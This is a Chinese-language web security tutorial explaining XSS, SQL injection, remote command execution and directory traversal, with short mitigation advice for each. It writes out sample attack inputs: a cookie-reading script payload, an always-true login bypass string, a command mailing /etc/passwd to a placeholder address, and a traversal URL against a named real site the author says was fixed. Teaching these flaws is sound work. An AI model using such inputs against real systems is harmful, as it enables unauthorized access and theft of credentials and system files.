常見Web應用安全問題
經過上兩篇（《Web安全性問題的層次關系》及《解讀Web應用安全問題的本質》）關於Web安全及Web應用安全概念性知識的宏觀介紹 ，相信大家已經有所感知了。從今天開始，我將陸續給大家介紹常見的Web應用安全性問題。
Web應用程序的安全性問題依其存在的形勢划分，種類繁多，這里不准備介紹所有的，只介紹常見、比較常見和有點常見這種級別的。我相信從Web應用安全角度來說，會比你從網上搜的要全面的多。以下是這些安全性問題的列表：
１、跨站腳本攻擊(CSS or XSS, Cross Site Scripting)
２、SQL注入攻擊(SQL injection)
３、遠程命令執行(Code execution，個人覺得譯成代碼執行並不確切)
４、目錄遍歷(Directory traversal)
５、文件包含(File inclusion)
６、腳本代碼暴露(Script source code disclosure)
７、Http請求頭的額外的回車換行符注入(CRLF injection/HTTP response splitting)
８、跨幀腳本攻擊(Cross Frame Scripting)
９、PHP代碼注入(PHP code injection)
１０、XPath injection
１１、Cookie篡改(Cookie manipulation)
１２、URL重定向(URL redirection)
１３、Blind SQL/XPath injection for numeric/String inputs
１４、Google Hacking
下面我們來看看它們的概念由於時間與篇幅原因，本文只介紹第一到第二，后面將在后續文章中介紹：
跨站腳本攻擊(CSS or XSS)
２００６年全球網絡安全弱點Top10排名當中，它榮登榜首！為什么它有如此之大的影響力呢？個人覺得原因有三：其一、攻擊難度小。不管是技術還是實現攻擊的成本上都比較容易；其二、它存在的載體（瀏覽器）使用極其廣泛；其三、它所依賴的技術被廣泛的應用與支持（Javascript,VB Script, HTML,ActiveX, Flash）。說了這么多，它到底是什么呢？
XSS是一種存在Web應用中，允許黑客以最終用戶的身份向Web應用注入惡意腳本，以愚弄其他用戶或獲取其他用戶重要數據和隱私信息為目的的一種攻擊形式。XSS可使用的技術有JavaScript、VBScript、 ActiveX、 或 Flash， 且通常通過頁面表單提交注入到web應用中並最終在用戶的瀏覽器客戶端執行。例如，一個沒有經過安全設計並實現的論壇，當你在跟貼時在正文輸入這樣的代碼：
<script>alert(document.cookie);</script>
當其它用戶瀏覽時便會彈出一個警告框，內容顯示的是瀏覽者當前的cookie串。試想如果我們注入的不是以上這個簡單的測試代碼，而是一段經常精心設計的惡意腳本，當用戶瀏覽此帖時，cookie信息就可能成功的被攻擊者獲取。此時瀏覽者的帳號就很容易被攻擊者掌控了。說到這，一些初學者可能還不太清楚它的危害到底在哪里，不用着急，我會在后續的文章中詳細給大家介紹有關“Web工作原理”內容，到時你就會很清楚的理解這些了。有關ＸＳＳ的攻擊實例、手段和方法是多種多樣的，你的腳本技能加上你的安全知識決定了你對其理解的深度。順便提一句：你可能無法成為XSS安全弱點的攻擊專家，但是你可以成為安全檢測專家。因為從安全檢測角度來說，你無需證明問題的嚴重性細節，只需要證明此類問題存在就可以了。
簡要的解決方案（等Web工作原理部分講完再深入）：
不管是上述的哪一種技術實現的ＸＳＳ攻擊，最終都離不開兩點：其一是瀏覽器的解析，其二是腳本語法，其三是腳本需要一定的長度。對於瀏覽器的解析是不在話下了，我不能因為這各類型問題的存在就改寫瀏覽器使其不支持腳本解析。所以，能做就是控制腳本注入的語法要素。比如：javascript離不開：“<”、“>”、“(”、“）”、“;”...等等，所以我們只需要在輸入或輸出時對其進行字符過濾或轉義處理就可以了。一般我們會采用轉義的方式來處理，轉義字符是會使用到HTML的原始碼（Web工作原理中會介紹），因為原始碼是可以被瀏覽器直接識別的，所以使用起來非常方便。允許可輸入的字符串長度限制也可以一定程度上控制腳本注入。比如：頁面表單中姓名，我可以只允許你輸入５個字符，請問你還有辦法進行Javascript的腳本注入嗎？顯然不行了。還需要您注意的是：我這里所述的過濾、檢測、限制等等策略，一定一定要在Web Server那一端去完成，而不是使用客戶端的Javascript或者VBScript...去做簡單的檢查。因為真正的攻擊者不會僅僅依賴於瀏覽器去做攻擊，而更多的往往是借助於第三方工具，根本就可以繞過你精心設計制作的客戶端Javascript進行過濾、檢測或限制手段的。
SQL注入攻擊(SQL injection)
早在十幾年前，基於數據庫的Web應用剛剛盛行的時候，幾乎所有的開發商都忽略了ＳＱＬ注入弱點，導致當時絕大多數的網站的登錄入口形同虛設！為什么呢？先給一個小小的例子，假如以下ＳＱＬ代碼是用來在網站登錄入口入執行用戶驗證時的查詢代碼：
SELECT count(*)
FROM users_list_table
WHERE username='USERNAME'
AND password='PASSWORD'
以上的USERNAME就是我們登錄時提供的用戶名，PASSWORD就是我們登錄時提供的密碼。當用戶輸入正確的用戶名和密碼時，這條語句的執行結果將為真（True），否則為假（False），當然為真時我們就認為認證通過，為假時就認為認證失敗，即非法登錄。試想一下，如果我在輸入用戶名和密碼的時候輸入如下的內容：
用戶名：a' or 'a'='a
密碼：a' or 'a'='a
用代入法把用戶名和密碼輸入值代入到上述的ＳＱＬ腳本里結果如下：
SELECT count(*)
FROM users
WHERE username='a' or 'a'='a'
AND password='a' or 'a'='a'
相信稍懂一點兒ＳＱＬ語句的人都知道，這條語句的執行結果就永遠是真了！此時你不需要有帳號，就直接登錄成功了！你對此漏洞理解的深度同樣取決於你的對ＳＱＬ語句的技能和web安全知識能力。一個具有良好技能的攻擊者可能利用此漏洞獲取后台ＤＢ的結構並逐步獲取ＤＢ的信息。
總結一下：ＳＱＬ注入弱點是存在基於數據庫的Web應用中，黑客利用精心組織的ＳＱＬ語句，通過Web接口（通常指我們的Web頁面的表單）注入的Web應用中，從而獲取后台ＤＢ的訪問與存取權的一種安全弱點。
簡要的解決方案：
剛剛介紹了ＸＳＳ，在這里關於ＳＱＬ Injection我想就無需多說了，都是過濾、合法性檢查和長度限制等通用方法。
有沒有注意到，ＸＳＳ和SQL Injection，雖然名字不一樣，但它們似乎都屬於我前一篇文章《解讀Web安全性問題的本質》中的第一部分，即輸入／輸出驗證。下面將要介紹的遠程命令執行、目錄遍歷和文件包含同樣也是輸入/輸出驗證問題。
遠程命令執行(code execution)
先不解釋它的概念，我們先假設這樣一個用戶使用場景：
有一個站點的管理入口功能非常強大，大到什么程度呢？可以重啟Web服務器。你能想出來它是如何實現的嗎？我們知道不管是PHP還是JSP，我們都可以在服務器通過Shell調用系統(Linux or Windows)命令，等命令執行后，將執行結果返回給客戶端。其實我們通過Web Page的管理入口管理服務器端的各種服務就是通過類似這種渠道完成的。這里會有什么問題？比如我們要重啟apache，假如系統是通過這個命令來完成的：/$path/./apche -restart。這里的$path是Web應用程序的基准路徑（比如：apache上的documentroot），它的實現方式是這樣的：通過用戶瀏覽器客戶端傳送一個命令串，給Web server，web server通過調用shell來執行傳過來的命令。試想，如果我通過瀏覽器客戶端強行傳送一個：restart, shutdown之類的命令給server，結果會是什么樣子？這只是起一個小小的破壞作用，那如果我傳送一個：mail abc@abc.abc</etc/passwd，執行結果是什么？結果是將linux系統的passwd文件（linux系統用戶信息）發送到指定的郵箱abc@abc.abc。是不是很可怕呢？這就是遠程命令執行漏洞的一個小小的典型例子。至於它的更深遠的安全隱患在哪里還需要你有更多的相關基礎知識才能夠得以深入理解和運用(比如：Web server OS, Web Service-apache/weblogic/tomcat...相關的使用技能)。
總結一下：遠程命令執行漏洞一般發生在Web系統允許用戶通過Web應用接口訪問與管理Web服務器且沒有經過嚴格的輸入驗證與過濾的情況下的一種Web應用安全漏洞。
簡要的解決方案：
１、嚴格限制運行Web服務的用戶權限。就是說你的Web應用可以訪問你的服務器系統的用戶權限。一般情況一下，我們應該以白名單的形式介定Web應用可以訪問服務器系統的權限。這樣控制可以從系統級達到安全防范的效果。
２、嚴格執行用戶輸入的合法性檢查。注意這里的輸入不一定是你通過表單從鍵盤輸入，往往是Web應用已經內定了某一些操作供您選擇，而此時你可以通過Http抓包的方式獲取Http請求信息包經改裝后重新發送。詳細理解這一部分，請關注我后續將來介紹的《Web工作原理》部分的Http協議原理。
目錄遍歷(Directory traversal)
部分朋友應該知道之前我在我的blog里公布了ah163.net上的一個安全漏洞，安全級別高：極度危險，由於我沒有公布細節，大家都比較好奇想知道是什么。出於對同行的尊重我就刪除了漏洞公布這一欄的內容了。我已經通知ah163.net的同行了，他們已經fix那個問題。今天我們就講講這個漏洞。
love.ah163.net上有網絡硬盤服務，當注冊用戶登錄並開通網絡硬盤服務后，即可進入自己的硬盤管理界面，我們來看看它是如何進入某一個目錄的，以下是進入某一目錄的ＵＲＬ：
http://love.ah163.net/Personal_Spaces_List.php?dir=MyFolder
那現在我把這個ＵＲＬ改裝一下：
http://love.ah163.net/Personal_Spaces_List.php?dir=../../../../../../../../../../../../../usr/local/apache/conf/
在瀏覽器里運行它，會是什么結果呢？結果是：/usr/local/apache/conf/里的所有文件都老老實實的列出來了，通過這種方式，你可以發揮你的想象了，服務器上的東東是不是都差不多可以列出來了？告訴你，還可以隨便下載呢！網絡硬盤嘛，就是用來上傳下載的，所以它提供的功能很完備，破壞性也就很強了。至於它的危害有多大，你自己想去吧，我就不危言聳聽了。
簡要的解決方案:
１、同樣是限制Web應用在服務器上的運行
２、進行嚴格的輸入驗證，控制用戶輸入非法路徑